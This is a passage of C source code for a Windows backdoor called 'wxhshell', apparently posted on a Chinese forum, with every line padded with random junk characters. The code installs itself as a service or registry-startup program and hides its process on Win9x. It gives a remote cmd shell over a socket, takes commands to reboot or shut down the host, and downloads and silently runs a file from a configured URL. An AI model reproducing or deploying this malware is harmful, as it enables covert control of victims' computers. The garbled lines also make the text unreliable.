    switch(cmd[0]) { `43`*=  
   Sxrbhnx  
  // 帮助 4,!S?:7  
  case '?': { )pS1yYLj  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 4|ryt4B  
    break; aD aQ 7i  
  } cvR|qHNX  
  // 安装 P| o_/BS  
  case 'i': { GB1[`U%  
    if(Install()) uM\(#jZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  m/)Wn  
    else pv.0!a/M  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =gCv`SFW  
    break; ZE@!s3\  
    } 30(O]@f~  
  // 卸载 %C_RBd  
  case 'r': { 6OJ`R.DM`  
    if(Uninstall()) xr uQ=Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tK3.HvD  
    else D 6trqB  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {%(_Z`vI  
    break; M+X>!Os  
    } `c^ _5:euX  
  // 显示 wxhshell 所在路径 P#/k5]g  
  case 'p': { ]o <'T.x  
    char svExeFile[MAX_PATH]; k#8,:B2  
    strcpy(svExeFile,"\n\r"); t> J 43  
      strcat(svExeFile,ExeFile); ANNfL9:Jy  
        send(wsh,svExeFile,strlen(svExeFile),0); pJC@}z^cw  
    break;  PK#; \Zw  
    } _7(>0GY  
  // 重启 aHosu=NK  
  case 'b': { Ctpr.  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); bDa(@QJ-  
    if(Boot(REBOOT)) #{)=%5=c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =} Np0UP  
    else { )1%l$W  
    closesocket(wsh); `B{N3Kxbp  
    ExitThread(0); [HJ^'/bB'  
    } >yC1X|d~t  
    break; +$KUy>  
    } Np4';H  
  // 关机 Hmt} @  
  case 'd': { nYJ)M AG@  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); KJPCO0"  
    if(Boot(SHUTDOWN)) \$Xo5f<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 12\h| S~  
    else { !Pf_he  
    closesocket(wsh); T6[];|%W  
    ExitThread(0); F6*n,[5(  
    } 6Y^UC2TBs  
    break; }Yt/e-Yg%r  
    } *{t{/^'y  
  // 获取shell =v-BzF15  
  case 's': { C%LRb{|d  
    CmdShell(wsh); gVM9*3LH6  
    closesocket(wsh); 0oI3Fb;E  
    ExitThread(0); 6/ir("LK  
    break; A)/ 8FYc  
  } Az29?|e  
  // 退出 5?+ECxPt  
  case 'x': { NIcPjo  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); xS%Z   
    CloseIt(wsh); T^3_d93}d  
    break; XK[cbVu  
    } zKr\S |yE  
  // 离开 99%oY  
  case 'q': { A;nrr1-0  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 5mwtlC':l?  
    closesocket(wsh); :kUZNw'Bi  
    WSACleanup(); vtyk\e)   
    exit(1); iUl5yq  
    break; .4c*  _$  
        } YPQ&hEu0  
  } LeBuPR$  
  } 413,O~^  
V!#+Ti/w4  
  // 提示信息 )UA$."~O  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :<ye:P1s  
} %|L+~=  
  } B#RwW,  
j(4BMk  
  return; " N)dle,  
} T4,dhS|  
0 1U/{D6D  
// shell模块句柄 ^&oa\7<'  
int CmdShell(SOCKET sock) 5gnNgt~  
{ ]J;pUH+u  
STARTUPINFO si; 2GNtO!B.  
ZeroMemory(&si,sizeof(si)); 0d!1;jy,T  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; iiS^xqSNCt  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; {ndL]c'v  
PROCESS_INFORMATION ProcessInfo; |7Fe~TC  
char cmdline[]="cmd"; h#Cq-^D#~  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); DIR_W-z  
  return 0; hGmJG,H  
} (q'w"qj  
KE3/sw0  
// 自身启动模式 XQAdb"`  
int StartFromService(void) tZlz0BY!  
{ T =r7FU  
typedef struct BgLW!|T[  
{ '=?IVm #C  
  DWORD ExitStatus; va \ 5  
  DWORD PebBaseAddress; x<#Z3Kla  
  DWORD AffinityMask; Q2sX7 cE  
  DWORD BasePriority; qL kna  
  ULONG UniqueProcessId; Rg3 Lo ?  
  ULONG InheritedFromUniqueProcessId; UELni,$  
}   PROCESS_BASIC_INFORMATION;  nN!/  
Kbjt  CI7  
PROCNTQSIP NtQueryInformationProcess; CR*R'KX D%  
EgO=7?(pW  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Hn"xn79nc  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; b0 ))->&2  
))"J  
  HANDLE             hProcess; s[h& Uv"G  
  PROCESS_BASIC_INFORMATION pbi; F(*~[*Ff  
9U1cH qV  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); |:_WdU"Q]  
  if(NULL == hInst ) return 0; 16"eyt>  
'f0*~Wq|  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); C2RR(n=N^  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); :7&#ej6  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); "YbvI@pD  
gJn|G#!  
  if (!NtQueryInformationProcess) return 0; .a._WZF  
^E_`M:~  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); xBH`=e <  
  if(!hProcess) return 0; =ML6"jr  
?n o.hf  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; K)5'Jp@  
4naL2 Y!  
  CloseHandle(hProcess); ({=: N  
['%]tWT9  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); LX{[9   
if(hProcess==NULL) return 0; X2b<_j3  
A<ca9g3  
HMODULE hMod; 6.? Ke8iC  
char procName[255]; dKyJ.p   
unsigned long cbNeeded; MONfA;64/  
4%wP}Zj#  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); My'u('Q%  
~_C[~-  
  CloseHandle(hProcess); S#+Dfa`8X  
O>e2MT|#k  
if(strstr(procName,"services")) return 1; // 以服务启动 o.yuz+  
fY3^L"R  
  return 0; // 注册表启动 AF5.)Y@.  
} \Z0-o&;w  
eqz#KN`n#  
// 主模块 Mx<V;GPm  
int StartWxhshell(LPSTR lpCmdLine) c>+l3&`  
{ 7FL!([S5i  
  SOCKET wsl; d~f_wN&r  
BOOL val=TRUE; J6Uo+0S  
  int port=0; *,g|I8?%VD  
  struct sockaddr_in door; rUjK1A{V  
g.-{=kZ   
  if(wscfg.ws_autoins) Install(); QixEMX4<  
_@I<H\^  
port=atoi(lpCmdLine); F9rxm  
ssbvuTr  
if(port<=0) port=wscfg.ws_port; LGx]z.30B  
_:oB#-0  
  WSADATA data; }3sj{:z{  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; r7w1~z  
*FoH '\=  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   5o;M  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); @[ {9B6NlV  
  door.sin_family = AF_INET; A:$Qt%c  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 5Ug.J{d  
  door.sin_port = htons(port); 5~&9/ ALk5  
61e)SIRz9I  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { PCzC8~t  
closesocket(wsl); LQ T^1|nq  
return 1; XB  
} @~pIyy\_  
B"rV-,n{  
  if(listen(wsl,2) == INVALID_SOCKET) { L{H` t{ A  
closesocket(wsl); uan%j]|q%  
return 1; r}k2n s9  
} &,B\ig1Jf  
  Wxhshell(wsl); -#Xo^-&  
  WSACleanup(); '0QrM,B9  
wZ7Opm<nt  
return 0; _U}pdzX?  
A$gP: 1&m  
} Rlc$2y@pU  
^ NZq1c  
// 以NT服务方式启动 K|Sh  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) /VFh3n>I2  
{ o^P/ -&T  
DWORD   status = 0; ZmSe>}B=  
  DWORD   specificError = 0xfffffff; G9'Wo.$ t  
;T1OXuQ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; $#R@x.=  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Pn:L=*  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; *o<zo `  
  serviceStatus.dwWin32ExitCode     = 0; wlc Cz  
  serviceStatus.dwServiceSpecificExitCode = 0; gA 0:qEL\  
  serviceStatus.dwCheckPoint       = 0; w|$i<OIi)  
  serviceStatus.dwWaitHint       = 0; i("ok  
f' |JLhs  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); TEQs\d  
  if (hServiceStatusHandle==0) return; lYz{# UX}  
m2wGg/F5  
status = GetLastError(); {%g]Ym=  
  if (status!=NO_ERROR) l /?Jp+]  
{ %JUD54bBt  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 5>z`==N)  
    serviceStatus.dwCheckPoint       = 0; 8nzDLFxp_  
    serviceStatus.dwWaitHint       = 0; m-V_J`9"  
    serviceStatus.dwWin32ExitCode     = status; HCOv<k  
    serviceStatus.dwServiceSpecificExitCode = specificError; Nn/me  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); J1P jMb}  
    return; /)6+I(H  
  } quXL'g  
VX+:k.}  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; f(}?Sp_  
  serviceStatus.dwCheckPoint       = 0; Mr/;$O{  
  serviceStatus.dwWaitHint       = 0; X2CpA;#;7l  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ~mAv)JK  
} vjNP  
jz CA2N%  
// 处理NT服务事件,比如:启动、停止 4%k{vo5i  
VOID WINAPI NTServiceHandler(DWORD fdwControl) {D6lS j  
{ )"W__U0  
switch(fdwControl) fpd4 v|(  
{ a=m4)tjk  
case SERVICE_CONTROL_STOP: ?T.'  q  
  serviceStatus.dwWin32ExitCode = 0; 3zC<k2B  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; p'SclH[   
  serviceStatus.dwCheckPoint   = 0; ~kHWh8\b:  
  serviceStatus.dwWaitHint     = 0; 0?@;zTE0  
  { bH 6i1c8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4KSZ;fV6/  
  } &lnr?y^  
  return; ck0K^o v  
case SERVICE_CONTROL_PAUSE: FU]jI[  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; p./9^S  
  break; ngmHiI W  
case SERVICE_CONTROL_CONTINUE: ,3+#?H  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; HLYog+?  
  break;  .7GTL  
case SERVICE_CONTROL_INTERROGATE: .J?cV;:`  
  break; V{qpha4'P  
}; 94uAt&&b(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); T#M_2qJ1=  
} _x+)Tv  
;ZOu-B]q  
// 标准应用程序主函数 xWC*DKV  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) `MD%VHQ9U  
{ 5?] Dn k.o  
=Oyn<  
// 获取操作系统版本 a!?JVhD&  
OsIsNt=GetOsVer(); },eV?eGj  
GetModuleFileName(NULL,ExeFile,MAX_PATH); t,D7X1W  
f2*e&+LjTP  
  // 从命令行安装 WdtZ{H  
  if(strpbrk(lpCmdLine,"iI")) Install(); $"e$#<g  
5t=7-  
  // 下载执行文件 msf%i!  
if(wscfg.ws_downexe) { t%S2D  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Ms>CO7Nvy  
  WinExec(wscfg.ws_filenam,SW_HIDE); 3UR'*5|'  
} Bp:PAy  
$kAal26z  
if(!OsIsNt) { 3Gk\3iU!  
// 如果时win9x,隐藏进程并且设置为注册表启动 Z'!Ii+'6  
HideProc(); b8FSVV 7@  
StartWxhshell(lpCmdLine); J?R\qEq%  
} |3]#SqX  
else oy[>`qyz  
  if(StartFromService()) AHB_[i'>7  
  // 以服务方式启动 wZe>}1t  
  StartServiceCtrlDispatcher(DispatchTable); K;L6<a A#  
else !c2<-3e  
  // 普通方式启动 O su 75@3  
  StartWxhshell(lpCmdLine); Rz03he  
lVptA3F  
return 0; ;Q.'u  
}
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只看该作者 1 发表于: 2006-10-10
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